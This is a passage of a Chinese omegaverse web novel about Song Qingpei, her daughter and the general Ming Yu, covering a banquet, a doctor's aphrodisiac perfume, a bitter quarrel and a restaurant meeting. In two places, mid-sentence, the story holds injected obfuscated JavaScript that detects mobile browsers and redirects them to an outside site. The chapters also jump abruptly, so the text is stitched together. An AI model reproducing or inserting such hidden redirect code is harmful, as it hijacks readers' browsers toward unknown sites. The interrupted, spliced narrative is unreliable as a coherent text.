今天的颂颂格外安静,或许是累了,或许是见了太多人,让她小小的脑袋有些转不过来,直到两人躺到了床上,颂颂格外依恋的偎到了她怀里,满足地蹭了蹭。 宋青佩摸着她的小脑袋,“颂颂,今天开心吗?” 颂颂摇了摇头。 宋青佩有些诧异,“为什么呀?” 小家伙表达能力有限,只是凌乱且混乱地说出自己看到的一切,宋青佩隐约猜出,明毓和她的妈妈似乎感情并不好,不免有些担忧起来。 可看明毓今天的反应,似乎并不愿多提自己家里的事,想了想,宋青佩决定还是看看再说吧,于是她安慰了颂颂一番,耐心地将她哄睡。 然后闭上了眼,将明毓的话抛到了一边,选择抱着女儿睡觉。 她又不是随叫随到的□□。 而另一边,明毓一直在等着宋青佩过来。 等来等去,身体已经慢慢热了起来,可宋青佩却迟迟未来。 想到自己已经如此主动,可宋青佩却推三阻四,明毓脸色顿时变得铁青,难道自己对她真的毫无吸引力?! 不甘,烦躁,愤怒…… 各种负面的情绪涌上来,将她淹没,几欲发狂。 "宋青佩!"她低吼道。 然而,她还是没有等到宋青佩过来,而她又拉不下脸再次主动去找宋青佩。 这一夜,明毓硬生生忍着发热期的燥热度熬到了天亮。 —— 第二天,宋青佩能明显的感觉到明毓强压的怒气。 她只当什么都不知道,沉默的抵抗着明毓试图将她当按摩—棒的行为,明毓终究还得要脸,总不能来硬的吧。 事实证明,明毓不会来硬的,但是她会来阴的。 当明毓冷漠的告诉她,三天后会在明氏老宅举办宴会,当众宣布颂颂的身份,并且轻描淡写表示,那天,她不能去。 宋青佩终究没忍住,还是屈服了。 当天晚上,她还是心不甘情不愿的进了明毓的房间,再次对她进行了安抚,还因为脸色不好,被狠狠地嫌弃了一番。 而宋青佩对此已经完全免疫了,毕竟明毓连她生日和宴会是同一天都能忘,还有什么过分的事情做不出来? 她对明毓已经不抱有任何希望了,纯纯浪费感情。 三天后,明家的大宅一片灯火辉煌,庭院里布置华丽和丰盛的美食。 金碧辉煌的大厅中央,每一盏灯都闪烁着耀眼的光芒,映照出上流社会奢华与权力。此时已经来了不少人,他们穿戴整齐,举止优雅地在厅中交谈。 仆人们忙碌地来回奔走,尽心为每位宾客服务。他们无声地递上香槟和点心,同时注意保持自己极低的存在感,音乐轻柔地流淌在空气中,给整个氛围增添了一丝典雅。 明毓身穿一袭黑色礼服,明艳逼人,她牵着小颂颂,从楼梯徐徐而下。颂颂穿着白色的小公主裙,头顶还戴着一顶小小的银色皇冠,看起来像个真正的小公主。 众人纷纷侧目,小声议论。 “这就是明毓生的继承人?” “这孩子真漂亮,完全继承了她妈妈的美貌。” 然而在这些表面的恭维之下,有些人的眼神却暗藏敌意和猜测。 “就是不知道她母亲是谁呢?” “是啊,这事儿到底如何,我们也不得而知。” “想来也不是什么拿得出手的人物,不然明上将怎么会绝口不提。” 站在人群边缘的宋青佩紧紧握住手中的酒杯,眼睛始终没有离开舞台上的女儿。 她知道这一刻属于颂颂,她应该感到高兴,但心里还是感到一种无法形容的孤独。 无人知道,今天也是她的生日, 宋青佩苦笑一声,慢慢放下酒杯,缓缓退到角落。 就在此时,一个熟悉的声音在她耳边响起,“宋小姐,我们又见面了。” 宋青佩愕然转头,惊诧道:“李医生,真巧,你也来了。” 李蔓一身白色礼服,脸上挂着得体的微笑,看了一眼正在舞台中央的小公主:“颂颂今天真漂亮,你一定为她感到骄傲吧?” 宋青佩礼貌的笑道:“当然,她一直都是我的骄傲。” 闻言,李蔓笑道:“不过这日子选的不太好,今天不是你的生日嘛,这不刚巧撞上了。” “你怎么知道我今天生日?”宋青佩一脸愕然。 李蔓笑着解释道:“你忘了?你做检测的时候填的啊?”说完她又惊讶道:“你不会是瞎填的吧?” 宋青佩连连摇头,“不是不是。” “那就好。”李蔓凑近她,提议道:“这里人多,不如我们出去走走。” “好。”宋青佩点头答应,跟着李蔓走出热闹的宴会大厅。 夜色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921491|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,明家大宅外花园的灯光柔和地照亮了路径,静谧而优雅。 她们慢慢沿着小径行走,两边是修剪整齐的灌木丛和盛开的花,夜风轻拂过来,让人感到一丝清凉,也带来了些许宁静。 李蔓走在前面,时不时回头看宋青佩。 她率先抛出了话题,“你有没有想过,这样的生活究竟适合颂颂吗?” 宋青佩微皱眉头,“你的意思是……” 李蔓停下脚步,转身面对宋青佩道:“没什么,只是提醒你一下,豪门家庭本就复杂,你和颂颂进了这个门,就注定要面对这些。” 她当然明白,这样的生活对她来说本就是陌生的,而颂颂,更是毫无防备的小女孩,未来注定了全然的陌生和挑战。 宋青佩真心地感谢:“李医生,谢谢你跟我说这些。” “好了,今天是你的生日,就不说这些不高兴的事情了。” 李蔓止住了这个话题,从包里拿出一个包装精致的礼盒,递到宋青佩面前,微笑道:“这是我特意为你准备的生日礼物,喜欢你能喜欢。” 宋青佩一脸惊讶,没想到李蔓居然会给她准备生日礼物,一时间忘了反应。 "快打开看看呀。"李蔓催促, 宋青佩回过神来,打开盖子,发现里面放着一瓶精美的香水,一看便价值不菲。 "李医生,真的谢谢你。" 她不知该说什么,只好道谢。 "客气什么。”李蔓笑道:"来,试试喜欢这个味道吗? 说着,就伸手帮宋青佩打开了香水瓶喷了两下,一股淡淡的香味飘散在空气中。 "很好闻。"宋青佩不自觉吸了吸鼻子。 "这是我根据你的信息素检测结果配置的香水,名叫''撩''。"李蔓微微勾唇,颇有些神秘道:"她的效果可是不同凡响,只要一滴,就能让信息素的浓度暴涨,相信一定能让上将满意的。" 宋青佩闻言,连忙把香水塞进口袋,脸上浮起一抹尴尬的红晕,"呵呵……李医生,你真幽默。" 李蔓冲她眨了眨眼,“相信我,真的很好用。” 不好意思再跟她继续这个话题,宋青佩只能转移话题道:"那个时间不早了,我们回去吧。" 李蔓点头,两个人转身往宴会大厅走去。 宋青佩并不能陪在颂颂身边,又没有认识的人,好在全程都有李蔓形影不离地陪着她,直到宴会结束,宋青佩忍不住再次感激地说:“李医生,今天真的谢谢你。” 李蔓客气跟她告别,转身却露出了一丝得逞的笑。 上了车,她就立即拨通了电话。 “老师,我已经试过了,面对如此强的诱情香宋青佩始终毫无反应,应该就是她了。” “很好。” 电话那边传来悦耳的声音,“你先不要轻举妄动,以免引起明毓的怀疑,我会想办法接近宋青佩的。” 14. 第 14 章 宴会束后,宋青佩便独自离开了明氏老宅。 回到山水庄园天已经黑了,她心里装着事,一人漫无目的的在偌大的庄园里走着,走着走着,只觉得整个人越发茫然,不知接下来该如何。 李医生说得对,这里的一切本就不属于她。强行融入只会适得其反,并不会让她有归属感,反而越发觉得孤寂。 不管短短时间,她都变得快不认识自己了,自卑敏感,谨小慎微,郁郁寡欢。 这还是她吗?她不该是这样的。 曾经哪怕是个孤儿,从小流浪,她也坚韧顽强地挺过来了。 当时救了明毓后,为了给她和未来的孩子一个稳定的环境,她可以决然的从头开始学习一门技能,努力赚钱适应新的环境,她并不是无能,她也曾为了自己在乎的人努力付出所有,让自己变得更加优秀。 只是…… 明毓的起点实在太高了,高到她无论怎样努力也触摸不到。 可明毓出现在她的生活中本就是一场意外,她应该有属于自己的人生,而不是这样沦为被明毓控制的傀儡。这一刻,宋青佩决定抛开明毓这个意外,开始认真计划自己的人生。 首先,应该先去找个工作,忙起来,就没有时间胡思乱想。 一旦有了这个想法,宋青佩整个人思路忽然清晰了起来。 没错,她应该先摆脱明毓对她的控制,起码不能靠明毓活着,而且颂颂也快要去上学了,到时候她一个人面对明毓更不舒服。 下定决心,宋青佩转身回去,准备心平气和地跟明毓谈谈。 她回到大厅等了一会,明毓才抱着睡着的颂颂回来,看上去疲惫不堪。 宋青佩忙上去接过颂颂,“我来吧。” 明毓将孩子递给她,眉目紧锁,一句话没说,转身往楼上卧室走去。 踌躇片刻,宋青佩还是叫住了她,“明毓,我有事想跟你谈谈。” 明毓顿了一下,转过身来,冷漠疏离地看着她,"什么事?" "我先把颂颂抱回房间睡觉,一会我们再谈。" 她说完,用询问的眼神看向明毓。 明毓意味不明地看了她一眼,以为宋青佩终于坐不住来示好了,微不可察地勾了勾唇:“好。我回卧室洗个澡,你一会过来找我。” 这语气…… 像极了明毓之前命令她安抚的态度,隐含淡淡的暧昧之意。 宋青佩不由暗暗皱眉,这么多天明毓的发热期也应该过去了,是她想多了吧? 她抱着颂颂回了房间,小心放下。 想到明毓说了洗澡,还特意多等了二十分钟才去敲门。 隔着门,传来明毓略带哑意的慵懒声音,“进来。” 推门而入,明毓只穿了件轻薄的蚕丝睡衣,露出一截白皙修长的大腿,背对着站在落地窗前。 听到动静,她转过身来,深V的领口露出大半个雪白诱人,未全干的卷发慵懒的散在胸前,隐隐约约的掩住起伏的沟壑。灯光照耀下,她肌肤洁白胜雪,五官艳丽,狭长深邃的眸,浓密纤长的睫毛投下一圈浅浅的阴影。 不知是幸还是不幸,面对如此诱人的画面,宋青佩已经可以做到平静如水,迈步朝明毓走去。 "什么事?"明毓挑眉看向她。 宋青佩长吸一口气,低声说:"颂颂也快去上学了,我想出去工作,可以吗?" "宋青佩,你真是来找我说这个的吗?"明毓笑着反问。 她的话透着古怪,宋青佩一愣,"你这话什么意思?" "我什么意思,难道你心里不清楚吗?" 明毓嗤笑一声,抬手将睡衣外衫脱掉,露出睡衣下的性感胴体。 她身材比例非常匀称,凹凸有致,每一处都恰到好处,胸部的弧线很漂亮,腰肢也很细很柔软,长腿笔直修长,腿型绝佳,足以媲美T台模特。 没想到明毓居然如此直接,这让宋青佩有些措手不及。 她忙后退一步,带着些无力的愤怒:"我……我在跟你说正经事。" 明毓笑容讥讽,缓慢地走近宋青佩,伸手去勾她的下巴,被宋青佩侧头躲开。 被接连拒绝,明毓变了脸,冷冷地勾唇,"宋青佩,你适可而止,别给我得寸进尺。” 宋青佩还没搞清楚明毓这奇怪的态度,明毓的手指已经再次强硬的捏住她的下巴,她被迫仰着脖子与明毓对望,原本想心平气和谈谈的心思也被这轻慢的态度给惹恼了。 宋青佩死死地盯着明毓,咬牙低吼道:"明毓,我不是任由你揉搓的玩物!” 闻言,明毓的脸色骤然变得阴沉。 她甚至已经感觉到空气中溢出的淡淡信息素,这个女人却还在拿腔做势,摆出一副宁死不屈的模样,真是笑话。 不由讥讽道:“宋青佩,你可不可笑,摆出这副欲擒故纵的姿态给谁看?" 如此恶劣的态度,终于让宋青佩忍无可忍,她用力从明毓的桎梏中挣开,转身就走。 觉得被耍了的明毓反手扣住她的胳膊,用力将她拉了回来,两人拉扯中—— 砰的一声! 李蔓送的香水从宋青佩口袋中被甩了出来,落到地上,摔得粉碎。 两人同时愣住,一瞬间,浓郁的香气已经弥漫了整个房间。 宋青佩刚刚嗅到这股香味,就觉得身体慢慢热了起来,想到李蔓之前说的香水作用,暗道不好。 明毓要比她更加敏感,与宋青佩Alpha信息素相似的诱情香横冲直撞,瞬间挑起她发热期的渴望,让她浑身瘫软,脸色潮红,几乎站立不稳。 而宋青佩心虚看过来的一眼,正好被明毓敏锐地捕捉到了。 这香水是诱情香! 一瞬间,巨大的愤怒笼罩了明毓。 这个虚伪的女人,口口声声说着义正辞严的话,背后却耍弄这种卑鄙的手段,难怪她今天一见到宋青佩,体内的信息素就开始活跃,本该过去的发热期再次蠢蠢欲动。 想来,宋青佩当时应该就喷了香水,再过来装模作样地表演一番,好让她低声下气地求欢。 “宋青佩,你真是好大的胆子!竟然敢给我用诱情香!” 明毓气急败坏地甩了宋青佩一个耳光。 “啪——” 宋青佩没能躲开,响亮的声音,在房间里回荡。 这下,明毓反而露出惊愕的表情,没想到她竟然会硬生生挨下这个耳光。 宋青佩用手背蹭了一下发红的脸颊,面无表情地解释:“这是朋友送的,我忘记放起来了,不是故意带进来的。” 明毓嗤笑一声,“这么拙劣的理由,你以为我会相信?” “你不信我也没办法。” 宋青佩没再说什么,转身就往外走。 明毓再次伸手拉住宋青佩,但她此刻因为信息素的刺激,全身无力,根本没有什么力气,被宋青佩很轻易地挣脱了出去。 两人站着,两两对峙。 被彻底激怒的明毓,眼睛里闪烁着危险的光,什么难听说什么: “宋青佩,你以为自己算什么东西?” “别以为我不知道,像你这种低贱的劣等A,为了往上爬什么做不出来。” “我警告你,收起你那些不该有的心思,再被我发现耍弄手段我饶不了你。” “更不要妄想利用女儿来达成目的,不然我会让你永远见不到颂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921492|160372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂。” “我这辈子最耻辱的事,就是被你这个卑鄙无耻的劣等A标记,更有可能跟你结婚的,你不要心存妄想了!” 一句句,仿佛刀子般剜在宋青佩的心上,让她痛到窒息。 宋青佩的拳头紧紧握起,指甲狠狠嵌入掌心里,努力克制着即将崩溃的情绪。 她抬起头,冷冷地看向明毓:"当初瞎了眼救你,也是我这辈子做得最后悔的事,你根本就不配!” "你再给我说一遍!"明毓语调冰凉。 "呵呵~"宋青佩冷笑了一声,仿佛看穿了她的心思,嘲讽道:明毓上将,你摆出一副高高在上的样子,嫌弃地藐视着我的一切。认为我做的一切都是为了攀附权贵,为了往上爬,为了更好地生活,却偏偏不敢相信,我是真的爱过你!" 这是她第一次,在恢复记忆的明毓面前剖析两人的感情,而用的词是‘爱过’。 是的,爱过,而现在已经被消磨殆尽。 而乍然听到这些的明毓,微微一愣,神色有一瞬的恍惚。 随即,她仿佛自我否定般:“不,不可能!你……我凭什么相信你说的话?” 面对她这副反应,宋青佩觉得可笑的同时又觉得她有些可怜,曾经的自卑在这一刻释然,明毓似乎比她还要可悲。 她是真真切切地爱过,被伤过,然后决定放下一切。 而明毓,则自始至终都不敢承认自己爱过,被爱过。她不甘的始终是,自己被一个觊觎她权势的心机女人标记了,还生了女儿。 此时,宋青佩反而有些理解明毓了,忍不住低低的笑出声,“明毓上将,剥离了自己的身份地位,你就不敢相信有人会真心爱你吗?” 明毓眯起双眼打量着宋青佩,半晌才挤出几个字来,"你到底想说什么?” “你真可怜!” 宋青佩讥讽一笑,“如你所愿,你确实不值得爱,当初是我眼瞎了。” 她的话,像一块石头狠狠地砸在明毓的软肋上,让她的心脏剧烈抽搐着疼了起来。 明毓的眸子倏然变得猩红一片,怒火中烧:“滚!” 正好宋青佩也不想跟她继续纠缠,从善如流地滚了。 走到门口,她又停下了脚步,转头道:“对了,我不喜欢被冤枉,香水的事还是要解释清楚。这是李蔓医生送我的生日礼物,她误会了我们的关系,请放心,我现在对你,一点兴趣也没有。” 说完,宋青佩毫不留恋地离开了,留下明毓一脸错愕。 今天竟然是宋青佩的生日吗? 她想起来了…… 还没恢复记忆的时候,是陪着宋青佩有过一次生日。 当时宋青佩还说,自己其实是孤儿,不记得真正的生日,过生日那天是她养母捡到她的那一天。宋青佩还开玩笑地跟她说:既然你什么也不记得了,以后就按照我把你捡回来那天过生日吧! 后来,宋青佩真的在那一天给她过的生日,虽然只有很简单的小蛋糕,但两人吃得很愉快,当时宋青佩还跟她保证,下次过生日会努力赚钱带她去吃大餐。 宋青佩的话在她耳边回荡:“明毓上将,剥离了自己的身份地位,你就不敢相信有人会真心爱你吗?” “如你所愿,你确实不值得爱,当初是我眼瞎了。” 忽然……明毓有些不安。 她忍不住拿起电话打给了李蔓,求证香水的事情。 当李蔓在那边笑呵呵地说:“上将,你们这么快就用上了吗?效果如何?” 明毓已经听不清在说什么,只觉得巨大的恐惧将她笼罩,一个不敢相信的事实越发清晰地摆在她面前。 宋青佩似乎真的爱她,那她呢? 第19章【VIP】 第19章 你在吃醋吗? 星海餐厅。 澜星知名的餐厅,由最知名的画家颜柯,仿照银河系绘制而成的穹顶,抬头便可以看到漫天的银河,至于消费那更是天文数字。 宋青佩跟着慕容瑞雪走进门,心中暗暗咋舌,这个地方,若是她自己,怕是这辈子都没资格进来。 两人选了个靠窗户的位置,服务生殷勤地替她们拉开椅子,两人相对而坐。 慕容瑞雪穿着得体的套裙,妆容精致,头发盘起,显得格外知性。 她将餐单递给宋青佩,笑道:“看看想吃什么?” 宋青佩连连摆手,“我不懂这些,你看着点些就行,不用这么破费。” “那怎么行。” 慕容瑞雪的目光落在她身上,语带感激道:“今天若不是你,我的信息素恐怕就要彻底失控了,你可是我的恩人。你就别客气了,点吧。” 听她再次提到这个话题,宋青佩不免有些尴尬。 她一个劣等Alpha是真的不能理解,Omega的发热期就这么难以控制吗?前有明毓因为信息素紊乱被折磨的狼狈不堪,连带着她要跟着一起倒霉,这刚入职,又碰到了一个发热期不正常的上司。 当时她不过有事去找慕容瑞雪,刚好碰到她打碎了抑制剂,便顺手帮她拿了新的抑制剂注射,真当不起什么救命恩人。可慕容瑞雪却坚持认定,她让她在这么多人面前保持了一个Omega体面,非要请她吃饭。 盛情难却,再加上以后工作中还要相处,宋青佩也不好拒绝,只能无奈道:“我实在不知道点什么,你帮我点些吧。” 慕容瑞雪嫣然一笑,“好,那我就点了。” 她拿起菜谱翻看,随即点了两三样招,便指着餐单上的食物大致给宋青佩介绍了一番,最终坚持让她选了两个菜,才合上了餐单。 招呼侍应生:“好了,我们先点这些吧。” “好的,两位稍等。” 待侍应生退出,两人本就不熟,不免有些冷场。 慕容瑞雪率先打破沉默,“青佩,我看你简历上写的之前在N69号星工作,你是刚来澜星吗?” 提起这个,宋青佩不免有些自卑,但还是如实道:“对,我之前是星际流浪者,五年前才加入的N69号星,到澜星没多长时间,真的很感激您给我这个工作机会。” “没什么,这份工作是你凭自己的实力得到的。”慕容瑞雪轻轻一笑,目光落在她的脸庞上,“相信我,你很有天赋,以后的成就绝对不可限量。” 宋青佩被夸得得有些不好意思,“您太高看我了。” 慕容瑞雪揶揄道:“怎么?你这是质疑自己,还是不相信我的眼光啊?” “我不是这个意思。” 宋青佩忙解释,抬头看到慕容瑞雪轻松的模样,这才反应过来对方是在开玩笑,也无奈地跟着笑了起来。 一时之间,包厢里弥漫起淡淡的轻松氛围。 不过片刻,服务员陆续端上了菜,桌上很快就摆满了各式美味。 慕容瑞雪热情地招呼宋青佩,两人结束了对话,默契地享受着美味佳肴。 直到吃饭的间隙。 宋青佩抬眼间,正好看到进门的明毓,不由一愣,脸色微微变了变。 “青佩,怎么了?” 察觉到宋青佩的异样,慕容瑞雪问道。 想着明毓不会想让人知道两人的关系,于是宋青佩不动声色地移开了视线,装作无事道:“没什么。” 慕容瑞雪点了点头,不经意间顺着宋青佩的视线扫了一眼,眸中微微一惊,但是并没有继续追问,而是夹了一筷子的鱼给宋青佩。 “这鱼看起来挺鲜嫩的,你尝尝看。” “谢谢,别麻烦了,我自己来就好了。” 宋青佩有些不太习惯如此亲密的行为,颇为拘谨地说道。 但慕容瑞雪根本不给她拒绝的机会,将鱼放到她的碗里,“快吃吧,凉了就不好了。” 宋青佩看了眼对面有些过于热情的人,犹豫了一瞬,还是低下头开始吃饭,心里却忍不住嘀咕,总觉得哪里怪怪的。 两人这番看似亲密的互动,全部落在了进门的明毓眼中。 她微敛眸光,看不清楚眸底深处的神色,只是那张精致艳丽的容颜,透着一抹难以捉摸的冰冷。 见状,旁边的宋惜寒顺着她的视线望过去,故意问:“那位就是宋小姐吧!要不我们一起去拼个桌?” 明毓眸色冷了冷,“不必。” 见此,宋惜寒眸底的兴味越发明显了。 两人从相反的楼梯上了二楼,到了宋惜寒提前订好的位置,好巧不巧,和宋青佩那桌正好隔着雕花木栏相望,中间摆放了几盆盆栽,围成了一个私密的小世界。 明毓冷着脸坐下,宋惜寒颇有兴味道:“怎么样?这个位置不错吧?” 明毓冷着脸瞥她一眼,没有说话。 宋惜寒满不在意,在明毓旁边的座位上坐下,一副自顾自看戏的样子。 这时,一名女侍应生上了餐和红酒。 “两位慢用!” 女侍应生退下,宋惜寒端起酒杯朝着明毓示意了下,“来,尝尝味道如何?” 明毓没有说话,端起酒杯与她轻轻碰撞,抿唇道:“宋惜寒,你搞这一出,是想干什么?” “既然你这么问,那我就直说了。” 宋惜寒笑了笑,“我家里一直逼婚你也是知道的。原来就一直撮合咱俩,你现在扶摇直上,我家为了巴结你现在是直接准备让我喜当妈啊。所以我来问问你的意思,有没有想法假结婚?反正你也不吃亏,我也不用老是被逼婚了。” “……” 明毓眉头紧锁,脸色阴沉了下来。 见她不说话,宋惜寒继续道:“我就想看看你对这位前任到底是怎么个想法,不会是余情未了吧?” 明毓沉着脸道:“我的事用不着你操心,我也不会和你假结婚的。” 她的态度有些强硬,宋惜寒倒也没有生气,“那好吧。既然如此,那你就去搞定双方父母吧。告诉他们,是你看不上我,不要再让我爸妈逼着我去追求你了。” 明毓沉吟半晌,最终还是点了点头。 “好,我知道了。” 宋惜寒笑着举杯,“干杯!” 两人的酒杯相碰,发出清脆的响声。 明毓心不在焉,视线总不由自主地透过模糊的盆栽看向对面的宋青佩,正好撞入她那双漆黑明亮的眸子里。四目相交,她顿时尴尬地收回视线,心跳竟有些急促起来。 宋惜寒也看到了她的异样,不由调侃道:“怎么,心虚啦?” 明毓沉着脸没有回答。 宋惜寒又道:“我真的很好奇,你和这位前任到底是什么情况?当初认你女儿回明家的时候,也没提这个人啊,不然我妈也不至于这么上赶着让我追你。” 明毓眉头微皱,眼睛里划过一丝复杂,只是垂下眼帘,掩盖了眸中闪烁的情绪。 见她不做声,宋惜寒顿觉没劲,也没再追问,只是饶有兴致的打量着两人。 而明毓沉默了一会,看到两人有说有笑,脸色越发冷凝。 最后她忍无可忍,拿出智脑,发了一条信息。 不过片刻,宋青佩的手机响起,是明毓发来的信息。 【到洗手间来。】 一如既往的命令语气。 宋青佩几乎都可以想到她叫自己做什么,肯定是威胁一番,让她谨言慎行,不要乱说两人的关系和过往,她一贯以此为耻。 “不好意思,我去打个电话。” 她歉意地冲慕容瑞雪笑了笑,然后拿起手机离座,走向卫生间。 一看到她离席,明毓便站了起来,转身朝着宋青佩离开的方向走去。 宋惜寒见状,嘴角漏出一个意味不明的弧度,也跟着起身。 等宋青佩走到洗手间,四下看了看,并没有看到人,皱眉正想要打电话,就见明毓绷着一张臭脸站在她身后。 宋青佩下意识地退后两步,警惕地看着她,“你怎么在这?” “跟我来!” 明毓没有理她,只是冷着一张脸,径直转身朝另一个方向走去。 见状,宋青佩连忙跟了上去。 两人进了一间包房,明毓坐在沙发上,面无表情地看向宋青佩。 宋青佩坐到明毓的对面,被她看得莫名其妙,还没来得及开口,明毓率先质问道:“宋青佩,你跟她到底什么关系?” 那语气,在宋青佩听来,妥妥地审问犯人的态度。 “这跟你没关系。”宋青佩说完,又补了一句,“你放心,我不会跟别人说我们的关系,对你不会有任何影响。” 闻言,明毓嗤笑一声:“哼,你是怕对自己有影响吧。” “你这话什么意思?”宋青佩不解。 想到昨晚闻到的Omega信息素,明毓只觉得胸腔里堵了一团火,不由冷哼道:“什么意思,就是字面上的意思。” 宋青佩越发觉得莫名其妙,“我不懂你在说什么,但是如果你叫我过来就是猜哑谜的话,那我只能告诉你,我没空陪你玩这种无聊的游戏。” 说完,她站起来就要走。 “你给我站住!” “你还有什么事?” 明毓胸口起伏,强行压抑愤怒道:“她知道你有个女儿吗?” 这话再次把宋青佩给问蒙了,一脸不解,“这跟我有没有女儿有什么关系?” “我问你她知不知道。” “知道啊。”宋青佩一脸无语。 明毓噎住,“她不在意吗?” “这有什么好在意的,我又不会因为女儿耽误工作。” 宋青佩觉得明毓就是看不上她,想尽办法羞辱打压她,顿时怒从心起,“我知道你看不起我,但是请你高抬贵手,不要再针对我,搅黄我好不容易找到的工作,算我求你了!” “我没有这个意思。” 明毓试图解释,她更关心的是昨晚上Omega信息素的问题。 “你没这个意思就好。”宋青佩顿时松了一口气,立刻撇清关系道:“你放心,我绝对会对以前的事守口如瓶,更不会利用你的身份达成什么目的。” 自以为达成一致的明毓,根本不给明毓开口的机会,就疾步往外走去。 毕竟第一次吃饭,实在不好让人家等太久。 等明毓反应过来追出去,宋青佩已经大步走了出去,她只能咬牙追过去。 宋青佩走回座位,看到慕容瑞雪旁边多了一个人,不由愣住。 “青佩,你回来了。” 慕容瑞雪见状,忙起身道:我跟你介绍一下,这是我朋友—宋惜寒,没想到这么巧在这遇到了。” “你好。”宋青佩礼貌地打招呼,“很高兴认识你。” “巧了,听瑞雪说你也姓宋,几百年前咱们可能是一家呢。”宋惜寒很是来自熟的搭话,不动声色地打量着宋青佩。 只觉得这人长得真不错,尤其是那一双澄净的眸子,就像是秋水一般,让人忍不住被吸引,难怪明毓这么冷淡的家伙也会如此紧张。 没想到她如此热络,宋青佩面上笑了笑,心里却忍不住暗自揣测,刚才这位叫宋惜寒的小姐好像就是跟明毓一起来的,待会明毓过来,怕是又要说不清。 果然说曹操曹操到。 没多久,明毓就走到三人面前,视线毫不避讳的落在宋青佩身上。 宋青佩想到刚才的‘约定’,低着头只当不认识。 明毓心里顿时仿佛有一团火在发酵,正欲说话,旁边的宋惜寒率先开口:“明毓,我碰到了朋友,过来一起坐吧。” 明毓沉默了一瞬,自然地坐在了宋青佩的旁边。 宋青佩愣了一下,下意识的往里面挪了挪,明毓内心的不满又增加了几分。 如此,四个人的位置就变成了:宋青佩和明毓并排坐,慕容瑞雪和宋惜寒并排坐,宋青佩和慕容瑞雪对坐着。 “惜寒,不介绍一下你朋友?”慕容瑞雪开口道。 宋惜寒指着明毓笑吟吟道:“瑞雪,我跟你郑重介绍一下,这位是我今天的相亲对象——明毓。 闻言,宋青佩不由抬头看向宋惜寒。她忽然想起来之前明毓就要去相亲,难道就是这位宋小姐?看上去很明显出身富贵,和明毓的家世倒是很般配…… 宋青佩还没回过神来,就听慕容瑞雪一脸惊诧道:“……明毓上将?” 明毓没料到慕容瑞雪居然认出了她,微微点头:“你好,我是明毓。” “幸会!”慕容瑞雪脸上闪过一抹惊讶之色,很快掩饰住,随即伸出右手,“早就听说过明上将,没想到这次竟然见到真人了。我是慕容瑞雪,很高兴认识你。” 明毓礼节性的与她握了下手。 宋青佩看了几人一阵寒暄,暗暗咋舌,敢情三个人兜兜转转都认识,只有她一个名不见经传的小人物。 更尴尬的是,慕容瑞雪*还一本正经地指着她介绍给明毓认识,两人视线相接,明毓似笑非笑地看向她,宋青佩只当作没有看见,低头装作喝茶掩饰尴尬。 明毓心中有些烦躁,但又不能直接发作出来,只能不露声色地跟两人聊天。 一顿饭吃的心思各异。 慕容瑞雪和宋惜寒都是聪明人,察觉出了气氛的诡异,也没心思吃东西了。 两人对望一眼,默契道:“时间不早了,不如我们改天再约。” “好,下次再聚。”宋惜寒爽快的同意。 慕容瑞雪起身,看向宋青佩道:“青佩,我送你回去吧。” “不用了。” “不用。” 宋青佩和明毓几乎同时出声。 一瞬间,三人的视线齐刷刷地落在了明毓的身上。 宋青佩是无语,慕容瑞雪是惊诧,宋惜寒则是看戏般的表情。 而成为焦点的明毓却面色平静,丝毫不受影响,只是将视线暗示的落在了宋青佩身上。 宋青佩只得解释道:“不用麻烦了,我自己打车回去就行了。” “那好吧,我先走了。” 慕容瑞雪笑盈盈地说罢,起身离开。 剩下三个人,宋惜寒一直在看戏。 “咳咳。” 她轻咳两声,接收到明毓警告的眼神,立刻识相道:“那个时间不早了,我也先走了。对了,别忘了我之前跟你说的事,两家长辈那边交给你搞定了。” “我知道了。” 明毓点了点头,示意她赶紧走。 宋惜寒走后,两人再次陷入沉寂。 宋青佩觉得气氛有些尴尬,便主动说:“走吧,颂颂应该在家等急了。” “嗯。”明毓应了声。 两人一起离开,上了明毓的车。 一路上,气氛再次陷入沉默,两人都没有主动说话。 宋青佩还沉浸在明毓的相亲对象上,心情很复杂,既替颂颂担忧未来,又莫名有些不爽。 倒不是吃醋,只是想到明毓之前和她纠缠不清的‘**’关系,莫名地觉得恶心,她觉得有必要跟明毓说明,她绝不会在她下一次发热期来的时候充当按摩~棒,这未免太羞辱人了。 而明毓自始至终,都沉浸在一个问题中,宋青佩身上为什么会有陌生Omeg信息素的味道? 她那天闻到的信息素是来自慕容瑞雪吗? 两人到底是什么关系? 真的只是工作上的合作伙伴吗? 还是…… 一系列的疑惑萦绕在明毓的脑海里挥之不去,让她有种喘不过气来感觉,她努力控制着自己的呼吸,试图让自己冷静。 直到把车停到车位,明毓才深呼吸了一口气,转过头看向宋青佩。 “我……” “你……” 两人几乎同时开口,又同时停止了说话。 明毓皱眉问:“你想说什么?” “我……”宋青佩犹豫了一下,“你先说吧。” 明毓抿唇,终于问出了自己的疑问,“宋青佩,你昨晚身上Omeg的信息素到底是怎么回事?请给我解释一下。” 宋青佩微微蹙眉,这事说起来有些复杂,而且毕竟是慕容瑞雪的隐私,她不是很想说。 “宋青佩?”见她半晌不吭声,明毓忍不住提高了分贝,“到底怎么回事?” “我想这事应该跟你应该没关系吧。” 明毓听到这话差点没气炸,咬牙切齿道:“你说这件事跟我没关系吗?” 